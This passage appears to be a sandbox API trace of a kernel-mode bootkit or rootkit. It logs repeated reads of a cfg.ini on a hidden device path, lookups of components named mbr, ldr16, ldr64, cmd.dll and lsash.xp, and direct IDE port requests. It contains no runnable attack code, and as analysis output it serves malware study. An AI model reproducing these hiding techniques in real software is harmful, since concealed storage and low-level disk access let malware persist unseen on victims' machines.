-108 [0122.845] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.845] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.845] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.845] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.845] KeLeaveCriticalRegion () [0122.845] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.845] ReleaseMutex (hMutex=0x100) returned 1 [0122.845] Sleep (dwMilliseconds=0x2bf20) [0122.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c6b83f0, dwHighDateTime=0x1d24fa4)) [0122.852] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.852] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.852] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.852] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.852] KeEnterCriticalRegion () [0122.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.852] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.852] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.852] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.852] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.852] IdePortDispatch () returned 0x103 [0122.852] KeWaitForMutexObject () returned 0x0 [0122.853] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.853] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.853] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.853] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.853] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.853] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7310 [0122.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.853] KeLeaveCriticalRegion () [0122.853] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.853] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.853] KeEnterCriticalRegion () [0122.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.853] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.853] KeLeaveCriticalRegion () [0122.853] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.853] KeEnterCriticalRegion () [0122.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.853] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.853] IdePortDispatch () returned 0x103 [0122.853] KeWaitForMutexObject () returned 0x0 [0122.853] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.853] KeLeaveCriticalRegion () [0122.853] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.853] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.853] KeEnterCriticalRegion () [0122.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.853] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d36000 [0122.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.854] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.854] IdePortDispatch () returned 0x103 [0122.854] KeWaitForMutexObject () returned 0x0 [0122.854] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.854] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.854] IdePortDispatch () returned 0x103 [0122.854] KeWaitForMutexObject () returned 0x0 [0122.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.854] KeLeaveCriticalRegion () [0122.854] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.855] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.855] KeEnterCriticalRegion () [0122.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.855] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.855] KeLeaveCriticalRegion () [0122.855] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.855] KeEnterCriticalRegion () [0122.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.855] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.855] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7120, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.855] KeLeaveCriticalRegion () [0122.855] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.855] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.855] KeEnterCriticalRegion () [0122.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.855] ExFreePoolWithTag (P=0xfffffa8003be7310, Tag=0x0) [0122.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.855] KeLeaveCriticalRegion () [0122.855] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.855] ReleaseMutex (hMutex=0xf0) returned 1 [0122.855] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.855] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.855] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.855] KeEnterCriticalRegion () [0122.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.855] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.855] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.855] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.855] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.855] IdePortDispatch () returned 0x103 [0122.855] KeWaitForMutexObject () returned 0x0 [0122.855] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.855] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.855] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.855] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.855] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.856] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7b10 [0122.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.856] KeLeaveCriticalRegion () [0122.856] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.856] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.856] KeEnterCriticalRegion () [0122.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.856] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.856] KeLeaveCriticalRegion () [0122.856] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.856] KeEnterCriticalRegion () [0122.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.856] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.856] IdePortDispatch () returned 0x103 [0122.856] KeWaitForMutexObject () returned 0x0 [0122.856] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.856] KeLeaveCriticalRegion () [0122.856] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.856] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.856] KeEnterCriticalRegion () [0122.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.856] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d37000 [0122.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.856] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.856] IdePortDispatch () returned 0x103 [0122.856] KeWaitForMutexObject () returned 0x0 [0122.857] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.857] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.857] IdePortDispatch () returned 0x103 [0122.857] KeWaitForMutexObject () returned 0x0 [0122.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.857] KeLeaveCriticalRegion () [0122.857] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.858] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.858] KeEnterCriticalRegion () [0122.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.858] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.858] KeLeaveCriticalRegion () [0122.858] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.858] KeEnterCriticalRegion () [0122.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.858] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.858] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.858] KeLeaveCriticalRegion () [0122.858] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.858] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.858] KeEnterCriticalRegion () [0122.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.858] ExFreePoolWithTag (P=0xfffffa8003be7b10, Tag=0x0) [0122.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.858] KeLeaveCriticalRegion () [0122.858] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.858] ReleaseMutex (hMutex=0xf0) returned 1 [0122.858] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.858] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.858] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.858] KeEnterCriticalRegion () [0122.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.858] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.858] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.858] IdePortDispatch () returned 0x103 [0122.858] KeWaitForMutexObject () returned 0x0 [0122.859] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.859] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.859] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.859] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.859] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.859] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8530 [0122.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.859] KeLeaveCriticalRegion () [0122.859] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.859] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.859] KeEnterCriticalRegion () [0122.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.859] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.859] KeLeaveCriticalRegion () [0122.859] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.859] KeEnterCriticalRegion () [0122.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.859] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.859] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.859] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.859] IdePortDispatch () returned 0x103 [0122.859] KeWaitForMutexObject () returned 0x0 [0122.859] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.859] KeLeaveCriticalRegion () [0122.859] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.859] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.859] KeEnterCriticalRegion () [0122.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.859] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d38000 [0122.859] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.859] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.859] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.859] IdePortDispatch () returned 0x103 [0122.860] KeWaitForMutexObject () returned 0x0 [0122.860] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.860] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.860] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.860] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.860] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.860] IdePortDispatch () returned 0x103 [0122.860] KeWaitForMutexObject () returned 0x0 [0122.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.860] KeLeaveCriticalRegion () [0122.860] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.860] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.861] KeEnterCriticalRegion () [0122.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.861] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.861] KeLeaveCriticalRegion () [0122.861] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.861] KeEnterCriticalRegion () [0122.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.861] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.861] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.861] KeLeaveCriticalRegion () [0122.861] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.861] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.861] KeEnterCriticalRegion () [0122.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.861] ExFreePoolWithTag (P=0xfffffa8003be8530, Tag=0x0) [0122.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.861] KeLeaveCriticalRegion () [0122.861] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.861] ReleaseMutex (hMutex=0xf0) returned 1 [0122.861] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.861] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.861] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.861] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.861] KeEnterCriticalRegion () [0122.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.861] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.861] IdePortDispatch () returned 0x103 [0122.861] KeWaitForMutexObject () returned 0x0 [0122.861] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.861] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.861] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.861] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.861] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.862] _strnicmp (_Str1="drv32", 